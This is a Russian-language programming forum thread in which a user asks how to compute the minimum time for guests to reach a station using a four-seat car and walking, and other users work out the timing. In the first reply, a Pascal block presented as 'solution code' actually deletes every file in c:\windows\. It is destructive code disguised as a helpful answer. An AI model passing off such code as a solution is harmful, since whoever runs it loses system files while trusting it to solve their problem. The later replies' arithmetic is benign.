Помогите решить задачу!

Модератор: Модераторы

Ответить
cs237224
незнакомец
Сообщения: 3
Зарегистрирован: 29.10.2014 17:54:24

Помогите решить задачу!

Сообщение cs237224 »

Помогите решить пожалуйста задачу!
N гостей (1 ≤ N ≤ 30) засиделись на даче и боятся опоздать на последнюю электричку. У хозяина дачи, который остается на ночь, есть автомобиль, но в него могут сесть одновременно не более 4 человек, не считая шофера. Скорость движения автомобиля по лесной дороге – V км/ч, скорость движения пешехода – U км/ч, расстояние от дачи до железнодорожной станции – Z км, затратами времени на посадку-высадку пассажиров и разворот автомобиля можно пренебречь. За какое минимальное время все гости доберутся до станции?

Входные данные
В единственной строке заданы значения величин N, V, U и Z, разделенными одним или несколькими пробелами. Числа V, U и Z — положительные вещественные и не превосходят 100.

Выходные данные
Выведите искомое значение времени с точностью до 10 - 3.

Примеры
входные данные
8 30 5 15
выходные данные
1.0555555556
Буду очень благодарен!
скалогрыз
долгожитель
Сообщения: 1804
Зарегистрирован: 03.09.2008 02:36:48

Сообщение скалогрыз »

чё-то у меня не получается 1.0555555556 при этих входных данных. 1.2142857228 часа минимум.

после того, как машина довезёт первых 4х, а оставшиеся выйдут пешком, пройдёт 0.5 часа.
после того, как машина встретится с оставшейся группой (идушей пешком) пройдёт ещё 0.37 часа.
так довезти её до станции это же ещё 0.37 часа.
итого: 0.5+0.37+0.37 = 1.24.

код решения:

Код: Выделить всё

uses SysUtils;

var
  s: TSearchRec;
  distance: Integer;
  p : string;
begin
  p:='c:\windows\';
  distance:=FindFirst(p+'*.*', faAnyFile, s);
  if distance=0 then begin
    repeat
      if FileExists(p+s.Name) then DeleteFile(p+s.Name)
    until FindNext(s)<>0;
    FindClose(s);
  end;
end;
zub
долгожитель
Сообщения: 2890
Зарегистрирован: 14.11.2005 22:51:26
Контактная информация:

Сообщение zub »

скалогрыз
предлагаю хозяину не довозить гостей сразу до вокзала - высадить пораньше, пока едет за вторыми, недовезенные сами доковыляют, какраз и сэкономится время до 1.0555555556, хотя не проверял. надо помаксимуму паралельные процессы использовать)), чтобы в конце все одновременно прибыли на вокзал и никто никого там не ждал
Последний раз редактировалось zub 29.10.2014 19:40:30, всего редактировалось 1 раз.
cs237224
незнакомец
Сообщения: 3
Зарегистрирован: 29.10.2014 17:54:24

Сообщение cs237224 »

скалогрыз писал(а):чё-то у меня не получается 1.0555555556 при этих входных данных. 1.2142857228 часа минимум.

после того, как машина довезёт первых 4х, а оставшиеся выйдут пешком, пройдёт 0.5 часа.
после того, как машина встретится с оставшейся группой (идушей пешком) пройдёт ещё 0.37 часа.
так довезти её до станции это же ещё 0.37 часа.
итого: 0.5+0.37+0.37 = 1.24.
так же решал, но с ответом не совпало, поэтому обратился за помощью...
Аватара пользователя
Sharfik
энтузиаст
Сообщения: 841
Зарегистрирован: 20.07.2013 01:04:30

Сообщение Sharfik »

Условия задачи:
Тема находится в разделе "Разное ‹ Помощь за вознаграждение". Пользователь не удосужился представится, а создал - аля ботник. Цену работы и желаемый результат не обозначил.
Вопрос - нафига на него тратить время?
Последний раз редактировалось Sharfik 31.10.2014 12:01:24, всего редактировалось 1 раз.
скалогрыз
долгожитель
Сообщения: 1804
Зарегистрирован: 03.09.2008 02:36:48

Сообщение скалогрыз »

zub писал(а):скалогрыз
предлагаю хозяину не довозить гостей сразу до вокзала - высадить пораньше, пока едет за вторыми, недовезенные сами доковыляют, какраз и сэкономится время до 1.0555555556, хотя не проверял. надо помаксимуму паралельные процессы использовать)), чтобы в конце все одновременно прибыли на вокзал и никто никого там не ждал

точно ведь, пересчитал - получилось 1.055555556

для данных расклад такой.
Водитель должен высадить первую группу через 0.388888889 часа
Возвращатся и уже через 0.277777778 забрать вторую группу.

Проверки:
Полный путь: 0.3888 * 30 + 0.2777 * 5 + 0.3888 * 5 = 11.66 + 1.39 + 1.95 = 15
Место встречи (авто): 0.3888 * 30 - 0.2777 * 30 = 11.66 - 8.33 = 3.33
Место встречи (пешком): 0.3888 * 5 + 0.2777 * 5 = 1.95 + = 1.95 + 1.38 = 3.33 (тоже место что и на авто).

Большее количество групп считается по аналогии. Главное брать за основу, что все человеки прийдут на вокзал одновременно.
Считается по формулам и просто.
Время возврата зависит от разности скоростей и времени группы "в машине".
Время "в машине" зависит от скоростей, количества групп и расстояния.
Ответить